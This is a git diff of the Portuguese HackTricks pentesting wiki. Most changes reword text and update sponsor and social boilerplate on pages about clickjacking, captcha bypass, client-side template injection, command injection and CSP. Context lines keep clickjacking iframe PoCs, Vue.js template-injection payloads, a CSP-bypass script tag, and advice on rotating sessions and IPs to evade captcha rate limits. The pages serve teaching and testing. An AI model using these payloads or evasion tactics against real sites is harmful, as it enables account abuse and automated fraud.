* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
@ -25,7 +25,7 @@ let constructedURL = chrome.runtime.getURL("message.html") +
frame.src = constructedURL;
});
```
Uma página HTML publicamente acessível, **`message.html`**, foi projetada para adicionar dinamicamente conteúdo ao corpo do documento com base nos parâmetros na URL:
Uma página HTML publicamente acessível, **`message.html`**, é projetada para adicionar dinamicamente conteúdo ao corpo do documento com base nos parâmetros na URL:
```javascript
$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search);
@ -114,7 +114,7 @@ Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>

View file

@ -4,12 +4,12 @@
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
@ -29,7 +29,7 @@ Para **burlar** o captcha durante o **teste do servidor** e automatizar funçõe
* **Manipulação de Sessão**: Tente usar o mesmo valor de captcha em diferentes sessões ou no mesmo ID de sessão.
3. **Automatização e Reconhecimento**:
* **Captchas Matemáticos**: Se o captcha envolver operações matemáticas, automatize o processo de cálculo.
* **Captcha Matemático**: Se o captcha envolver operações matemáticas, automatize o processo de cálculo.
* **Reconhecimento de Imagem**:
* Para captchas que exigem a leitura de caracteres de uma imagem, determine manualmente ou programaticamente o número total de imagens únicas. Se o conjunto for limitado, você pode identificar cada imagem pelo seu hash MD5.
* Utilize ferramentas de Reconhecimento Óptico de Caracteres (OCR) como [Tesseract OCR](https://github.com/tesseract-ocr/tesseract) para automatizar a leitura de caracteres em imagens.
@ -37,7 +37,7 @@ Para **burlar** o captcha durante o **teste do servidor** e automatizar funçõe
4. **Técnicas Adicionais**:
* **Teste de Limite de Taxa**: Verifique se a aplicação limita o número de tentativas ou envios em um determinado período de tempo e se esse limite pode ser burlado ou redefinido.
* **Serviços de Terceiros**: Utilize serviços ou APIs de resolução de captcha que oferecem reconhecimento e resolução automatizados de captcha.
* **Rotação de Sessão e IP**: Alterne frequentemente os IDs de sessão e os endereços IP para evitar detecção e bloqueio pelo servidor.
* **Rotação de Sessão e IP**: Altere frequentemente os IDs de sessão e os endereços IP para evitar detecção e bloqueio pelo servidor.
* **Manipulação de User-Agent e Cabeçalhos**: Altere o User-Agent e outros cabeçalhos de solicitação para imitar diferentes navegadores ou dispositivos.
* **Análise de Captcha de Áudio**: Se uma opção de captcha de áudio estiver disponível, utilize serviços de conversão de fala em texto para interpretar e resolver o captcha.
@ -46,8 +46,8 @@ Para **burlar** o captcha durante o **teste do servidor** e automatizar funçõe
### [Capsolver](https://www.capsolver.com/)
O solucionador automático de captcha do Capsolver oferece a **solução de resolução de captcha mais acessível e rápida**. Você pode rapidamente integrá-lo ao seu programa usando sua opção de integração simples para obter os melhores resultados em questão de segundos.
O solucionador automático de captcha da Capsolver oferece a **solução de resolução de captcha mais acessível e rápida**. Você pode rapidamente integrá-lo ao seu programa usando sua opção de integração simples para obter os melhores resultados em questão de segundos.
Com uma taxa de sucesso de 99,15%, o Capsolver pode **responder a mais de 10 milhões de captchas a cada minuto**. Isso significa que sua automação ou raspagem terá um tempo de atividade de 99,99%. Você pode comprar um pacote de captcha se tiver um grande orçamento.
Com uma taxa de sucesso de 99,15%, a Capsolver pode **responder a mais de 10 milhões de captchas a cada minuto**. Isso significa que sua automação ou raspagem terá um tempo de atividade de 99,99%. Você pode comprar um pacote de captcha se tiver um grande orçamento.
Pelo menor preço do mercado, você pode obter uma variedade de soluções, incluindo reCAPTCHA V2, reCAPTCHA V3, hCaptcha, hCaptcha Click, reCaptcha click, Funcaptcha Click, FunCaptcha, datadome captcha, aws captcha, picture-to-text, binance / coinmarketcap captcha, geetest v3 / v3, e muito mais. Com este serviço, **0.1s é a velocidade mais lenta já medida**.

View file

@ -9,15 +9,15 @@ Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente com as **ferramentas comunitárias mais avançadas** do mundo.\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente com as ferramentas comunitárias mais avançadas do mundo.\
Acesse hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -79,7 +79,7 @@ left:210px;
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
```
### Arrastar e Soltar + Payload de Clique
### Carga Drag\&Drop + Clique
```markup
<html>
<head>
@ -133,32 +133,32 @@ No entanto, esses scripts de quebra de frames podem ser contornados:
```html
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
```
As valores `allow-forms` e `allow-scripts` permitem ações dentro do iframe, enquanto desabilitam a navegação de nível superior. Para garantir a funcionalidade pretendida do site alvo, permissões adicionais como `allow-same-origin` e `allow-modals` podem ser necessárias, dependendo do tipo de ataque. Mensagens no console do navegador podem orientar sobre quais permissões permitir.
Os valores `allow-forms` e `allow-scripts` permitem ações dentro do iframe, enquanto desabilitam a navegação de nível superior. Para garantir a funcionalidade pretendida do site alvo, permissões adicionais como `allow-same-origin` e `allow-modals` podem ser necessárias, dependendo do tipo de ataque. Mensagens no console do navegador podem orientar sobre quais permissões permitir.
### Defesas do Lado do Servidor
#### X-Frame-Options
O cabeçalho de resposta HTTP **`X-Frame-Options`** informa aos navegadores sobre a legitimidade de renderizar uma página em um `<frame>` ou `<iframe>`, ajudando a prevenir o Clickjacking:
O cabeçalho de resposta HTTP **`X-Frame-Options` informa aos navegadores sobre a legitimidade de renderizar uma página em um `<frame>` ou `<iframe>`, ajudando a prevenir o Clickjacking:
- `X-Frame-Options: deny` - Nenhum domínio pode enquadrar o conteúdo.
- `X-Frame-Options: sameorigin` - Apenas o site atual pode enquadrar o conteúdo.
- `X-Frame-Options: allow-from https://trusted.com` - Apenas o 'uri' especificado pode enquadrar a página.
- Observe as limitações: se o navegador não suportar essa diretiva, ela pode não funcionar. Alguns navegadores preferem a diretiva CSP frame-ancestors.
- Observe as limitações: se o navegador não suportar essa diretiva, ela pode não funcionar. Alguns navegadores preferem a diretiva frame-ancestors do CSP.
#### Diretiva frame-ancestors da Política de Segurança de Conteúdo (CSP)
A **diretiva `frame-ancestors` na CSP** é o método recomendado para proteção contra Clickjacking:
A **diretiva `frame-ancestors` no CSP** é o método recomendado para proteção contra Clickjacking:
- `frame-ancestors 'none'` - Semelhante a `X-Frame-Options: deny`.
- `frame-ancestors 'self'` - Semelhante a `X-Frame-Options: sameorigin`.
- `frame-ancestors trusted.com` - Semelhante a `X-Frame-Options: allow-from`.
Por exemplo, a seguinte CSP permite apenas o enquadramento do mesmo domínio:
Por exemplo, o seguinte CSP permite apenas o enquadramento do mesmo domínio:
`Content-Security-Policy: frame-ancestors 'self';`
Mais detalhes e exemplos complexos podem ser encontrados na [documentação da CSP frame-ancestors](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) e na [documentação da CSP frame-ancestors da Mozilla](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors).
Detalhes adicionais e exemplos complexos podem ser encontrados na [documentação do CSP frame-ancestors](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) e na [documentação do Mozilla CSP frame-ancestors](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors).
### Política de Segurança de Conteúdo (CSP) com `child-src` e `frame-src`
@ -181,9 +181,9 @@ Content-Security-Policy: child-src 'self' https://trusted-website.com;
Esta política permite frames e workers da mesma origem (self) e https://trusted-website.com.
**Notas de Uso:**
- Descontinuação: child-src está sendo substituído por frame-src e worker-src.
- Descontinuação: child-src está sendo gradualmente substituído por frame-src e worker-src.
- Comportamento de Reserva: Se frame-src estiver ausente, child-src é usado como reserva para frames. Se ambos estiverem ausentes, default-src é usado.
- Definição de Fonte Estrita: Inclua apenas fontes confiáveis nas diretivas para evitar exploração.
- Definição Estrita de Fonte: Inclua apenas fontes confiáveis nas diretivas para evitar exploração.
#### Scripts JavaScript de Quebra de Frames
@ -205,7 +205,7 @@ top.location = self.location;
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir facilmente e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir facilmente e **automatizar fluxos de trabalho** com as ferramentas comunitárias **mais avançadas** do mundo.\
Acesse hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -219,7 +219,7 @@ Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,7 +1,23 @@
# Traversal de Caminho do Lado do Cliente
<details>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
## Informações Básicas
Uma travessia de caminho do lado do cliente ocorre quando você pode **manipular o caminho de um URL** que será **enviado a um usuário para visitar de forma legítima** ou que um usuário de alguma forma será **forçado a visitar, por exemplo, via JS ou CSS**.
Uma travessia de caminho do lado do cliente ocorre quando você pode **manipular o caminho de uma URL** que será **enviada a um usuário para visitar de forma legítima** ou que um usuário de alguma forma será **forçado a visitar, por exemplo, via JS ou CSS**.
Neste [**artigo**](https://erasec.be/blog/client-side-path-manipulation/), foi possível **alterar o URL do convite** para que ele acabasse **cancelando um cartão**.
Neste [**artigo**](https://erasec.be/blog/client-side-path-manipulation/), foi possível **alterar a URL de convite** para que ela acabasse **cancelando um cartão**.
Neste [**artigo**](https://mr-medi.github.io/research/2022/11/04/practical-client-side-path-traversal-attacks.html), foi possível combinar uma **travessia de caminho do lado do cliente via CSS** (foi possível alterar o caminho de onde um recurso CSS foi carregado) com um **redirecionamento aberto** para carregar o recurso CSS de um **domínio controlado pelo atacante**.
Neste [**artigo**](https://mr-medi.github.io/research/2022/11/04/practical-client-side-path-traversal-attacks.html), foi possível combinar uma **travessia de caminho do lado do cliente via CSS** (foi possível alterar o caminho de onde um recurso CSS era carregado) com um **redirecionamento aberto** para carregar o recurso CSS de um **domínio controlado pelo atacante**.

View file

@ -7,7 +7,7 @@ Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
@ -17,7 +17,7 @@ Outras maneiras de apoiar o HackTricks:
É como uma [**Injeção de Template do Lado do Servidor**](ssti-server-side-template-injection/) mas no **cliente**. O **SSTI** pode permitir que você **execute código** no servidor remoto, o **CSTI** poderia permitir que você **execute código JavaScript** arbitrário na vítima.
A maneira de **testar** essa vulnerabilidade é muito **semelhante** ao caso do **SSTI**, o interpretador vai esperar algo para executar **entre chaves duplas** e o executará. Por exemplo, usando algo como: `{{ 7-7 }}` se o servidor for **vulnerável**, você verá um `0` e se não for, verá o original: `{{ 7-7 }}`
A maneira de **testar** essa vulnerabilidade é muito **semelhante** ao caso do **SSTI**, o interpretador vai esperar algo para executar **entre chaves duplas** e irá executá-lo. Por exemplo, usando algo como: `{{ 7-7 }}` se o servidor for **vulnerável** você verá um `0` e se não for verá o original: `{{ 7-7 }}`
# AngularJS
@ -43,7 +43,7 @@ Pode encontrar um exemplo online muito **básico da vulnerabilidade** no **Angul
Pode encontrar uma implementação **vulnerável do vue.js** em [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)\
Payload funcional: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor\(%27alert\(%22foo%22\)%27\)\(\)%7D%7D)
E o **código fonte** do exemplo vulnerável está aqui: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
E o **código fonte** do exemplo vulnerável aqui: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
```markup
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
@ -96,7 +96,7 @@ Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>

View file

@ -6,17 +6,17 @@
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente com as ferramentas comunitárias mais avançadas do mundo.\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente com as ferramentas comunitárias **mais avançadas** do mundo.\
Acesse hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -27,7 +27,7 @@ Uma **injeção de comando** permite a execução de comandos arbitrários do si
### Contexto
Dependendo de **onde sua entrada está sendo injetada**, pode ser necessário **encerrar o contexto citado** (usando `"` ou `'`) antes dos comandos.
Dependendo de **onde sua entrada está sendo injetada** você pode precisar **encerrar o contexto citado** (usando `"` ou `'`) antes dos comandos.
## Injeção/Execução de Comando
```bash
@ -147,14 +147,14 @@ powershell C:**2\n??e*d.*? # notepad
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -162,7 +162,7 @@ Outras formas de apoiar o HackTricks:
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente com as **ferramentas comunitárias mais avançadas do mundo**.\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente com as ferramentas **mais avançadas** da comunidade.\
Acesse hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -2,15 +2,15 @@
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -22,7 +22,7 @@ Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSb
Engaje-se com conteúdo que explora a emoção e os desafios do hacking
**Notícias de Hacking em Tempo Real**\
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e percepções em tempo real
Mantenha-se atualizado com o mundo acelerado do hacking por meio de notícias e percepções em tempo real
**Últimos Anúncios**\
Fique informado sobre os mais recentes programas de recompensas por bugs lançados e atualizações cruciais na plataforma
@ -68,13 +68,13 @@ object-src 'none';
* **script-src**: Permite fontes específicas para JavaScript, incluindo URLs, scripts inline e scripts acionados por manipuladores de eventos ou folhas de estilo XSLT.
* **default-src**: Define uma política padrão para buscar recursos quando diretivas de busca específicas estão ausentes.
* **child-src**: Especifica recursos permitidos para workers da web e conteúdos de frames incorporados.
* **child-src**: Especifica recursos permitidos para workers web e conteúdos de frames incorporados.
* **connect-src**: Restringe URLs que podem ser carregadas usando interfaces como fetch, WebSocket, XMLHttpRequest.
* **frame-src**: Restringe URLs para frames.
* **frame-ancestors**: Especifica quais fontes podem incorporar a página atual, aplicável a elementos como `<frame>`, `<iframe>`, `<object>`, `<embed>` e `<applet>`.
* **img-src**: Define fontes permitidas para imagens.
* **font-src**: Especifica fontes válidas para fontes carregadas usando `@font-face`.
* **manifest-src**: Define fontes permitidas de arquivos de manifesto de aplicativo.
* **manifest-src**: Define fontes permitidas para arquivos de manifesto de aplicativo.
* **media-src**: Define fontes permitidas para carregar objetos de mídia.
* **object-src**: Define fontes permitidas para elementos `<object>`, `<embed>` e `<applet>`.
* **base-uri**: Especifica URLs permitidos para carregar usando elementos `<base>`.
@ -98,7 +98,7 @@ object-src 'none';
* `'unsafe-hashes'`: Habilita manipuladores de eventos inline específicos.
* `'unsafe-inline'`: Permite o uso de recursos inline como `<script>` ou `<style>` inline, não recomendado por motivos de segurança.
* `'nonce'`: Uma lista branca para scripts inline específicos usando um nonce criptográfico (número usado uma vez).
* `'sha256-<hash>'`: Lista branca para scripts com um hash sha256 específico.
* `'sha256-<hash>'`: Lista branca de scripts com um hash sha256 específico.
* `'strict-dynamic'`: Permite o carregamento de scripts de qualquer fonte se tiver sido listado na lista branca por um nonce ou hash.
* `'host'`: Especifica um host específico, como `example.com`.
* `https:`: Restringe URLs para aqueles que usam HTTPS.
@ -169,13 +169,13 @@ Payload de trabalho:
```markup
"/>'><script src="/uploads/picture.png.js"></script>
```
No entanto, é altamente provável que o servidor esteja **validando o arquivo enviado** e só permitirá que você **faça upload de um tipo específico de arquivo**.
No entanto, é altamente provável que o servidor esteja **validando o arquivo enviado** e só permitirá que você **envie um tipo específico de arquivo**.
